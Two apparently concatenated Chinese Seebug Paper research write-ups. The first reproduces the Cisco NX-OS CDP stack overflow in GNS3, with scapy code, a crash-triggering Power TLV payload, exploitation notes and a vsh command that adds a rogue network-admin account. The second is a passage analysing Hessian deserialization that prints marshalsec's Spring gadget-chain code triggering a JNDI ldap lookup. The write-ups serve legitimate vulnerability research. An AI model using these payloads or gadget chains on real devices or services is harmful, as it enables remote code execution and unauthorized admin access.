首先我们需要下载安全GNS3软件,然后还需要下载GNS3 VM。个人电脑上装个GNS3提供了可视化操作的功能,算是总控。GNS3 VM是作为GNS3的服务器,可以在本地用虚拟机跑起来,也可以放远程。GNS3仿真的设备都是在GNS3服务器上运行起来的。
1.首先设置好GNS3 VM
2.创建一个新模板
3.选择交换机 Cisco NX-OSv 9000
在这里我们发现是用qemu来仿真设备的,所以前面下载的时候需要下载qcow2。
随后就是把相应版本的固件导入到GNS3 Server。
导入完成后,就能在交换机一栏中看到刚才新添加的设备。
4.把Cisco设备拖到中央,使用网线直连设备
这里说明一下,Toolbox是我自己添加的一个ubuntu docker模板。最开始我是使用docker和交换机设备的任意一张网卡相连来进行操作测试的。
不过随后我发现,GNS3还提供的了一个功能,也就是图中的Cloud1,它可以代表你宿主机/GNS3 Server中的任意一张网卡。
因为我平常使用的工具都是在Mac中的ubuntu虚拟机里,所以我现在的使用的方法是,让ubuntu虚拟机的一张网卡和Cisco交换机进行直连。
PS:初步研究了下,GNS3能提供如此简单的网络直连,使用的是其自己开发的ubridge,Github上能搜到,目测是通过UDP来转发流量包。
在测试的过程中,我们还可以右击这根直连线,来使用wireshark抓包。
5.启动所有节点
最后就是点击上方工具栏的启动键,来启动你所有的设备,如果不想全部启动,也可以选择单独启动。
研究Cisco交换机
不过这个时候网络并没有连通,还需要通过串口连接到交换机进行网络配置。GNS3默认情况下会把设备的串口通过telnet转发出来,我们可以通过GNS3界面右上角看到telnet的ip/端口。
第一次连接到交换机需要进行一次初始化设置,设置好后,可以用你设置的管理员账号密码登陆到Cisco管理shell。
经过研究,发现该设备的结构是,qemu启动了一个bootloader,然后在bootloader的文件系统里面有一个nxos.9.2.3.bin文件,该文件就是该设备的主体固件。启动以后是一个Linux系统,在Linux系统中又启动了一个虚拟机guestshell,还有一个vsh.bin。在该设备中,用vsh替代了我们平常使用Linux时使用的bash。我们telnet连进来后,看到的就是vsh界面。在vsh命令中可以设置开启telnet/ssh,还可以进入Linux shell。但是进入的是guestshell虚拟机中的Linux系统。
本次研究的cdp程序是无法在虚拟机guestshell中看到的。经过后续研究,发现vsh中存在python命令,而这个python是存在于Cisco宿主机中的nxpython程序。所以可以同python来获取到Cisco宿主机的Linux shell。然后通过mac地址找到你在GNS3中设置连接的网卡,进行ip地址的设置。
12345678910111213141516171819202122bashCisco# pythonPython 2.7.11 (default, Feb 26 2018, 03:34:16)[GCC 4.6.3] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import os>>> os.system("/bin/bash")bash-4.3$ iduid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)bash-4.3$ sudo -iroot@Cisco#ifconfig eth8eth8 Link encap:Ethernet HWaddr 0c:76:e2:d1:ac:07inet addr:192.168.102.21 Bcast:192.168.102.255 Mask:255.255.255.0UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:6639702 (6.3 MiB) TX bytes:246035115 (234.6 MiB)root@Cisco#ps aux|grep cdproot 10296 0.0 0.8 835212 70768 ? Ss Mar18 0:01 /isan/bin/cdpdroot 24861 0.0 0.0 5948 1708 ttyS0 S+ 05:30 0:00 grep cdp设置好ip后,然后可以在我们mac上的ubuntu虚拟机里面进行网络连通性的测试,正常情况下这个时候网络已经连通了。
之后可以把ubuntu虚拟机上的公钥放到cisoc设备的
/root/.ssh/authorized_keys
,然后就能通过ssh连接到了cisco的bash shell上面。该设备的Linux系统自带程序挺多的,比如后续调试的要使用的gdbserver。nxpython还装了scapy。使用scapy发送CDP包
接下来我们来研究一下怎么发送cdp包,可以在Armis Labs发布的分析中看到cdp包格式,同样我们也能开启Cisco设备的cdp,查看Cisco设备发送的cdp包。
123456789101112Cisco#conf terCisco(config)# cdp enable# 比如我前面设置直连的上第一个网口Cisco(config)# interface ethernet 1/7Cisco(config-if)# no shutdownCisco(config-if)# cdp enableCisco(config-if)# endCisco# show cdp interface ethernet 1/7Ethernet1/7 is upCDP enabled on interfaceRefresh time is 60 secondsHold time is 180 seconds然后我们就能通过wireshark直接抓网卡的包,或者通过GNS3抓包,来研究CDP协议的格式。
因为我习惯使用python写PoC,所以我开始研究怎么使用python来发送CDP协议包,然后发现scapy内置了一些CDP包相关的内容。
下面给一个简单的示例:
12from scapy.contrib import cdpfrom scapy.all import Ether, LLC, SNAP12345678910111213# link layerl2_packet = Ether(dst="01:00:0c:cc:cc:cc")# Logical-Link Controll2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()# Cisco Discovery Protocolcdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)deviceid = cdp.CDPMsgDeviceID(val=cmd)portid = cdp.CDPMsgPortID(iface=b"ens38")address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))cap = cdp.CDPMsgCapabilities(cap=1)cdp_packet = cdp_v2/deviceid/portid/address/cappacket = l2_packet / cdp_packetsendp(packet)触发漏洞
下一步,就是研究怎么触发漏洞。首先,把cdpd从设备中给取出来,然后把二进制丢到ida里找漏洞点。根据Armis Labs发布的漏洞分析,找到了该漏洞存在于
cdpd_poe_handle_pwr_tlvs
函数,相关的漏洞代码如下:12345678910111213141516171819202122232425262728if ( (signed int)v28 > 0 ){v35 = (int *)(a3 + 4);v9 = 1;do{v37 = v9 - 1;v41[v9 - 1] = *v35;*(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));if ( !sdwrap_hist_event_subtype_check(7536640, 104) ){*(_DWORD *)v38 = 104;snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));sdwrap_hist_event(7536640, strlen(&s) + 5, v38);}if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) ){v24 = *(&v40 + v9);buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");}snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);++v35;++v9;}while ( v9 != v28 + 1 );}后续仍然是根据Armis Labs漏洞分析文章中的内容,只要在cdp包中增加Power Request和Power Level就能触发cdpd程序crash:
123power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)power_level = cdp.CDPMsgPower(power=16)cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level漏洞利用
首先看看二进制程序的保护情况:
12345678$ checksec cdpd_9.2.3Arch: i386-32-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: PIE enabledRPATH: '/isan/lib/convert:/isan/lib:/isanboot/lib'发现只开启了NX和PIE保护,32位程序。
因为该程序没法进行交互,只能一次性发送完所有payload进行利用,所以没办法泄漏地址。因为是32位程序,cdpd程序每次crash后会自动重启,所以我们能爆破地址。
在编写利用脚本之前需要注意几点:
1.栈溢出在覆盖了返回地址后,后续还会继续覆盖传入函数参数的地址。
1*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);并且因为在漏洞代码附近有这样的代码,需要向a1地址附近的地址写入值。如果只覆盖返回地址,没法只通过跳转到一个地址达到命令执行的目的。所以我们的payload需要把a1覆盖成一个可写的地址。
2.在
cdpd_poe_handle_pwr_tlvs
函数中,有很多分支都会进入到cdpd_send_pwr_req_to_poed
函数,而在该函数中有一个__memcpy_to_buf
函数,这个函数限制了Power Requested
的长度在40字节以内。这么短的长度,并不够进行溢出利用。所以我们不能进入到会调用该函数的分支。1234v10 = *(_WORD *)(a1 + 1208);v11 = *(_WORD *)(a1 + 1204);v12 = *(_DWORD *)(a1 + 1212);if ( v32 != v10 || v31 != v11 )我们需要让该条件判断为False,不进入该分支。因此需要构造好覆盖的a1地址的值。
3.我们利用的最终目的不是执行
execve("/bin/bash")
,因为没法进行交互,所以就算执行了这命令也没啥用。那么我们能有什么利用方法呢?第一种,我们可以执行反连shell的代码。第二种,我们可以添加一个管理员账号,比如执行如下命令:1/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"我们可以通过执行
system(cmd)
达到目的。那么接下来的问题是怎么传参呢?经过研究发现,在CDP协议中的DeviceID
相关的字段内容都储存在堆上,并且该堆地址就储存在栈上,我们可以通过ret
来调整栈地址。这样就能成功向system
函数传递任意参数了。最后放一个演示视频:
参考链接
- https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce
- https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp
- https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1154/
-
Hessian 反序列化及相关利用链
作者:Longofo@知道创宇404实验室
时间:2020年2月20日
英文版本:https://paper.seebug.org/1137/前不久有一个关于Apache Dubbo Http反序列化的漏洞,本来是一个正常功能(通过正常调用抓包即可验证确实是正常功能而不是非预期的Post),通过Post传输序列化数据进行远程调用,但是如果Post传递恶意的序列化数据就能进行恶意利用。Apache Dubbo还支持很多协议,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian与Hessian2,这里的Hessian2与Dubbo Hessian2不是同一个)、Rmi、Http等。Apache Dubbo是远程调用框架,既然Http方式的远程调用传输了序列化的数据,那么其他协议也可能存在类似问题,例如Rmi、Hessian等。@pyn3rd师傅之前在twiter发了关于Apache Dubbo Hessian协议的反序列化利用,Apache Dubbo Hessian反序列化问题之前也被提到过,这篇文章里面讲到了Apache Dubbo Hessian存在反序列化被利用的问题,类似的还有Apache Dubbo Rmi反序列化问题。之前也没比较完整的去分析过一个反序列化组件处理流程,刚好趁这个机会看看Hessian序列化、反序列化过程,以及marshalsec工具中对于Hessian的几条利用链。
关于序列化/反序列化机制
序列化/反序列化机制(或者可以叫编组/解组机制,编组/解组比序列化/反序列化含义要广),参考marshalsec.pdf,可以将序列化/反序列化机制分大体分为两类:
- 基于Bean属性访问机制
- 基于Field机制
基于Bean属性访问机制
- SnakeYAML
- jYAML
- YamlBeans
- Apache Flex BlazeDS
- Red5 IO AMF
- Jackson
- Castor
- Java XMLDecoder
- ...
它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用
getter(xxx)
和setter(xxx)
访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。基于Field机制
基于Field机制是通过特殊的native(native方法不是java代码实现的,所以不会像Bean机制那样调用getter、setter等更多的java方法)方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,不是通过getter、setter方式对属性赋值(下面某些处理器如果进行了特殊指定或配置也可支持Bean机制方式)。在ysoserial中的payload是基于原生Java Serialization,marshalsec支持多种,包括上面列出的和下面列出的。
- Java Serialization
- Kryo
- Hessian
- json-io
- XStream
- ...
就对象进行的方法调用而言,基于字段的机制通常通常不构成攻击面。另外,许多集合、Map等类型无法使用它们运行时表示形式进行传输/存储(例如Map,在运行时存储是通过计算了对象的hashcode等信息,但是存储时是没有保存这些信息的),这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器(例如Hessian中有专门的MapSerializer转换器)。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法,例如Hessian中如果是反序列化map类型,会调用MapDeserializer处理map,期间map的put方法被调用,map的put方法又会计算被恢复对象的hash造成hashcode调用(这里对hashcode方法的调用就是前面说的必须调用攻击者提供的对象上的方法),根据实际情况,可能hashcode方法中还会触发后续的其他方法调用。
Hessian简介
Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。本文主要讲解Hessian的序列化/反序列化。
下面做个简单测试下Hessian Serialization与Java Serialization:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354//Student.javaimport java.io.Serializable;public class Student implements Serializable {private static final long serialVersionUID = 1L;private int id;private String name;private transient String gender;public int getId() {System.out.println("Student getId call");return id;}public void setId(int id) {System.out.println("Student setId call");this.id = id;}public String getName() {System.out.println("Student getName call");return name;}public void setName(String name) {System.out.println("Student setName call");this.name = name;}public String getGender() {System.out.println("Student getGender call");return gender;}public void setGender(String gender) {System.out.println("Student setGender call");this.gender = gender;}public Student() {System.out.println("Student default constractor call");}public Student(int id, String name, String gender) {this.id = id;this.name = name;this.gender = gender;}@Overridepublic String toString() {return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";}}123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293//HJSerializationTest.javaimport com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class HJSerializationTest {public static <T> byte[] hserialize(T t) {byte[] data = null;try {ByteArrayOutputStream os = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(os);output.writeObject(t);data = os.toByteArray();} catch (Exception e) {e.printStackTrace();}return data;}public static <T> T hdeserialize(byte[] data) {if (data == null) {return null;}Object result = null;try {ByteArrayInputStream is = new ByteArrayInputStream(data);HessianInput input = new HessianInput(is);result = input.readObject();} catch (Exception e) {e.printStackTrace();}return (T) result;}public static <T> byte[] jdkSerialize(T t) {byte[] data = null;try {ByteArrayOutputStream os = new ByteArrayOutputStream();ObjectOutputStream output = new ObjectOutputStream(os);output.writeObject(t);output.flush();output.close();data = os.toByteArray();} catch (Exception e) {e.printStackTrace();}return data;}public static <T> T jdkDeserialize(byte[] data) {if (data == null) {return null;}Object result = null;try {ByteArrayInputStream is = new ByteArrayInputStream(data);ObjectInputStream input = new ObjectInputStream(is);result = input.readObject();} catch (Exception e) {e.printStackTrace();}return (T) result;}public static void main(String[] args) {Student stu = new Student(1, "hessian", "boy");long htime1 = System.currentTimeMillis();byte[] hdata = hserialize(stu);long htime2 = System.currentTimeMillis();System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 - htime1));long htime3 = System.currentTimeMillis();Student hstudent = hdeserialize(hdata);long htime4 = System.currentTimeMillis();System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 - htime3));System.out.println();long jtime1 = System.currentTimeMillis();byte[] jdata = jdkSerialize(stu);long jtime2 = System.currentTimeMillis();System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 - jtime1));long jtime3 = System.currentTimeMillis();Student jstudent = jdkDeserialize(jdata);long jtime4 = System.currentTimeMillis();System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 - jtime3));}}结果如下:
12345hessian serialize result length = 64,cost time:45hessian deserialize result:Student(id=1,name=hessian,gender=null),cost time:3jdk serialize result length = 100,cost time:5jdk deserialize result:Student(id=1,name=hessian,gender=null),cost time:43通过这个测试可以简单看出Hessian反序列化占用的空间比JDK反序列化结果小,Hessian序列化时间比JDK序列化耗时长,但Hessian反序列化很快。并且两者都是基于Field机制,没有调用getter、setter方法,同时反序列化时构造方法也没有被调用。
Hessian概念图
下面的是网络上对Hessian分析时常用的概念图,在新版中是整体也是这些结构,就直接拿来用了:
- Serializer:序列化的接口
- Deserializer :反序列化的接口
- AbstractHessianInput :hessian自定义的输入流,提供对应的read各种类型的方法
- AbstractHessianOutput :hessian自定义的输出流,提供对应的write各种类型的方法
- AbstractSerializerFactory
- SerializerFactory :Hessian序列化工厂的标准实现
- ExtSerializerFactory:可以设置自定义的序列化机制,通过该Factory可以进行扩展
- BeanSerializerFactory:对SerializerFactory的默认object的序列化机制进行强制指定,指定为使用BeanSerializer对object进行处理
Hessian Serializer/Derializer默认情况下实现了以下序列化/反序列化器,用户也可通过接口/抽象类自定义序列化/反序列化器:
序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化;反序列化时也会根据对象、属性不同类型选择不同的反序列化器;每个类型序列化器中还有具体的FieldSerializer。这里注意下JavaSerializer/JavaDeserializer与BeanSerializer/BeanDeserializer,它们不是类型序列化/反序列化器,而是属于机制序列化/反序列化器:
- JavaSerializer:通过反射获取所有bean的属性进行序列化,排除static和transient属性,对其他所有的属性进行递归序列化处理(比如属性本身是个对象)
- BeanSerializer是遵循pojo bean的约定,扫描bean的所有方法,发现存在get和set方法的属性进行序列化,它并不直接直接操作所有的属性,比较温柔
Hessian反序列化过程
这里使用一个demo进行调试,在Student属性包含了String、int、List、Map、Object类型的属性,添加了各属性setter、getter方法,还有readResovle、finalize、toString、hashCode方法,并在每个方法中进行了输出,方便观察。虽然不会覆盖Hessian所有逻辑,不过能大概看到它的面貌:
12345678910111213141516171819202122232425//people.javapublic class People {int id;String name;public int getId() {System.out.println("Student getId call");return id;}public void setId(int id) {System.out.println("Student setId call");this.id = id;}public String getName() {System.out.println("Student getName call");return name;}public void setName(String name) {System.out.println("Student setName call");this.name = name;}}12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485//Student.javapublic class Student extends People implements Serializable {private static final long serialVersionUID = 1L;private static Student student = new Student(111, "xxx", "ggg");private transient String gender;private Map<String, Class<Object>> innerMap;private List<Student> friends;public void setFriends(List<Student> friends) {System.out.println("Student setFriends call");this.friends = friends;}public void getFriends(List<Student> friends) {System.out.println("Student getFriends call");this.friends = friends;}public Map getInnerMap() {System.out.println("Student getInnerMap call");return innerMap;}public void setInnerMap(Map innerMap) {System.out.println("Student setInnerMap call");this.innerMap = innerMap;}public String getGender() {System.out.println("Student getGender call");return gender;}public void setGender(String gender) {System.out.println("Student setGender call");this.gender = gender;}public Student() {System.out.println("Student default constructor call");}public Student(int id, String name, String gender) {System.out.println("Student custom constructor call");this.id = id;this.name = name;this.gender = gender;}private void readObject(ObjectInputStream ObjectInputStream) {System.out.println("Student readObject call");}private Object readResolve() {System.out.println("Student readResolve call");return student;}@Overridepublic int hashCode() {System.out.println("Student hashCode call");return super.hashCode();}@Overrideprotected void finalize() throws Throwable {System.out.println("Student finalize call");super.finalize();}@Overridepublic String toString() {return "Student{" +"id=" + id +", name='" + name + '\'' +", gender='" + gender + '\'' +", innerMap=" + innerMap +", friends=" + friends +'}';}}123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960//SerialTest.javapublic class SerialTest {public static <T> byte[] serialize(T t) {byte[] data = null;try {ByteArrayOutputStream os = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(os);output.writeObject(t);data = os.toByteArray();} catch (Exception e) {e.printStackTrace();}return data;}public static <T> T deserialize(byte[] data) {if (data == null) {return null;}Object result = null;try {ByteArrayInputStream is = new ByteArrayInputStream(data);HessianInput input = new HessianInput(is);result = input.readObject();} catch (Exception e) {e.printStackTrace();}return (T) result;}public static void main(String[] args) {int id = 111;String name = "hessian";String gender = "boy";Map innerMap = new HashMap<String, Class<Object>>();innerMap.put("1", ObjectInputStream.class);innerMap.put("2", SQLData.class);Student friend = new Student(222, "hessian1", "boy");List friends = new ArrayList<Student>();friends.add(friend);Student stu = new Student();stu.setId(id);stu.setName(name);stu.setGender(gender);stu.setInnerMap(innerMap);stu.setFriends(friends);System.out.println("---------------hessian serialize----------------");byte[] obj = serialize(stu);System.out.println(new String(obj));System.out.println("---------------hessian deserialize--------------");Student student = deserialize(obj);System.out.println(student);}}下面是对上面这个demo进行调试后画出的Hessian在反序列化时处理的大致面貌(图片看不清,可以点这个链接查看):
下面通过在调试到某些关键位置具体说明。
获取目标类型反序列化器
首先进入HessianInput.readObject(),读取tag类型标识符,由于Hessian序列化时将结果处理成了Map,所以第一个tag总是M(ascii 77):
在
case 77
这个处理中,读取了要反序列化的类型,接着调用this._serializerFactory.readMap(in,type)
进行处理,默认情况下serializerFactory使用的Hessian标准实现SerializerFactory:先获取该类型对应的Deserializer,接着调用对应Deserializer.readMap(in)进行处理,看下如何获取对应的Derserializer:
第一个红框中主要是判断在
_cacheTypeDeserializerMap
中是否缓存了该类型的反序列化器;第二个红框中主要是判断是否在_staticTypeMap
中缓存了该类型反序列化器,_staticTypeMap
主要存储的是基本类型与对应的反序列化器;第三个红框中判断是否是数组类型,如果是的话则进入数组类型处理;第四个获取该类型对应的Class,进入this.getDeserializer(Class)
再获取该类对应的Deserializer,本例进入的是第四个:这里再次判断了是否在缓存中,不过这次是使用的
_cacheDeserializerMap
,它的类型是ConcurrentHashMap
,之前是_cacheTypeDeserializerMap
,类型是HashMap
,这里可能是为了解决多线程中获取的问题。本例进入的是第二个this.loadDeserializer(Class)
:第一个红框中是遍历用户自己设置的SerializerFactory,并尝试从每一个工厂中获取该类型对应的Deserializer;第二个红框中尝试从上下文工厂获取该类型对应的Deserializer;第三个红框尝试创建上下文工厂,并尝试获取该类型自定义Deserializer,并且该类型对应的Deserializer需要是类似
xxxHessianDeserializer
,xxx表示该类型类名;第四个红框依次判断,如果匹配不上,则使用getDefaultDeserializer(Class),
本例进入的是第四个:_isEnableUnsafeSerializer
默认是为true的,这个值的确定首先是根据sun.misc.Unsafe
的theUnsafe字段是否为空决定,而sun.misc.Unsafe
的theUnsafe字段默认在静态代码块中初始化了并且不为空,所以为true;接着还会根据系统属性com.caucho.hessian.unsafe
是否为false,如果为false则忽略由sun.misc.Unsafe
确定的值,但是系统属性com.caucho.hessian.unsafe
默认为null,所以不会替换刚才的ture结果。因此,_isEnableUnsafeSerializer
的值默认为true,所以上图默认就是使用的UnsafeDeserializer,进入它的构造方法。获取目标类型各属性反序列化器
在这里获取了该类型所有属性并确定了对应得FieldDeserializer,还判断了该类型的类中是否存在ReadResolve()方法,先看类型属性与FieldDeserializer如何确定:
获取该类型以及所有父类的属性,依次确定对应属性的FIeldDeserializer,并且属性不能是transient、static修饰的属性。下面就是依次确定对应属性的FieldDeserializer了,在UnsafeDeserializer中自定义了一些FieldDeserializer。
判断目标类型是否定义了readResolve()方法
接着上面的UnsafeDeserializer构造器中,还会判断该类型的类中是否有
readResolve()
方法:通过遍历该类中所有方法,判断是否存在
readResolve()
方法。好了,后面基本都是原路返回获取到的Deserializer,本例中该类使用的是UnsafeDeserializer,然后回到
SerializerFactory.readMap(in,type)
中,调用UnsafeDeserializer.readMap(in)
:至此,获取到了本例中
com.longofo.deserialize.Student
类的反序列化器UnsafeDeserializer
,以各字段对应的FieldSerializer,同时在Student类中定义了readResolve()
方法,所以获取到了该类的readResolve()
方法。为目标类型分配对象
接下来为目标类型分配了一个对象:
通过
_unsafe.allocateInstance(classType)
分配该类的一个实例,该方法是一个sun.misc.Unsafe
中的native方法,为该类分配一个实例对象不会触发构造器的调用,这个对象的各属性现在也只是赋予了JDK默认值。目标类型对象属性值的恢复
接下来就是恢复目标类型对象的属性值:
进入循环,先调用
in.readObject()
从输入流中获取属性名称,接着从之前确定好的this._fieldMap
中匹配该属性对应的FieldDeserizlizer,然后调用匹配上的FieldDeserializer进行处理。本例中进行了序列化的属性有innerMap(Map类型)、name(String类型)、id(int类型)、friends(List类型),这里以innerMap这个属性恢复为例。以InnerMap属性恢复为例
innerMap对应的FieldDeserializer为
UnsafeDeserializer$ObjectFieldDeserializer
:首先调用
in.readObject(fieldClassType)
从输入流中获取该属性值,接着调用了_unsafe.putObject
这个位于sun.misc.Unsafe
中的native方法,并且不会触发getter、setter方法的调用。这里看下in.readObject(fieldClassType)
具体如何处理的:这里Map类型使用的是MapDeserializer,对应的调用
MapDeserializer.readMap(in)
方法来恢复一个Map对象:注意这里的几个判断,如果是Map接口类型则使用HashMap,如果是SortedMap类型则使用TreeMap,其他Map则会调用对应的默认构造器,本例中由于是Map接口类型,使用的是HashMap。接下来经典的场景就来了,先使用
in.readObject()
(这个过程和之前的类似,就不重复了)恢复了序列化数据中Map的key,value对象,接着调用了map.put(key,value)
,这里是HashMap,在HashMap的put方法会调用hash(key)
触发key对象的key.hashCode()
方法,在put方法中还会调用putVal,putVal又会调用key对象的key.equals(obj)
方法。处理完所有key,value后,返回到UnsafeDeserializer$ObjectFieldDeserializer
中:使用native方法
_unsafe.putObject
完成对象的innerMap属性赋值。Hessian的几条利用链分析
在marshalsec工具中,提供了对于Hessian反序列化可利用的几条链:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
下面分析其中的两条Rome和SpringPartiallyComparableAdvisorHolder,Rome是通过
HashMap.put
->key.hashCode
触发,SpringPartiallyComparableAdvisorHolder是通过HashMap.put
->key.equals
触发。其他几个也是类似的,要么利用hashCode、要么利用equals。SpringPartiallyComparableAdvisorHolder
在marshalsec中有所有对应的Gadget Test,很方便:
这里将Hessian对SpringPartiallyComparableAdvisorHolder这条利用链提取出来看得比较清晰些:
12345678910111213141516171819202122232425262728293031String jndiUrl = "ldap://localhost:1389/obj";SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf, "logger", new NoOpLog());Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());//反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);Reflections.setFieldValue(aif, "beanFactory", bf);Reflections.setFieldValue(aif, "name", jndiUrl);//反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);//反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);Reflections.setFieldValue(advisor, "advice", advice);//反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toStringClass<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object pcah = Reflections.createWithoutConstructor(pcahCl);Reflections.setFieldValue(pcah, "advisor", advisor);//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equalsHotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));//反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。12345678910111213141516HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);看以下触发流程:
经过
HessianInput.readObject()
,到了MapDeserializer.readMap(in)
进行处理Map类型属性,这里触发了HashMap.put(key,value)
:HashMap.put
有调用了HashMap.putVal
方法,第二次put时会触发key.equals(k)
方法:此时key与k分别如下,都是HotSwappableTargetSource对象:
进入
HotSwappableTargetSource.equals
:在
HotSwappableTargetSource.equals
中又触发了各自target.equals
方法,也就是XString.equals(PartiallyComparableAdvisorHolder)
:在这里触发了
PartiallyComparableAdvisorHolder.toString
:发了
AspectJPointcutAdvisor.getOrder
:触发了
AspectJAroundAdvice.getOrder
:这里又触发了
BeanFactoryAspectInstanceFactory.getOrder
:又触发了
SimpleJndiBeanFactory.getTYpe
->SimpleJndiBeanFactory.doGetType
->SimpleJndiBeanFactory.doGetSingleton
->SimpleJndiBeanFactory.lookup
->JndiTemplate.lookup
->Context.lookup
:Rome
Rome相对来说触发过程简单些:
同样将利用链提取出来:
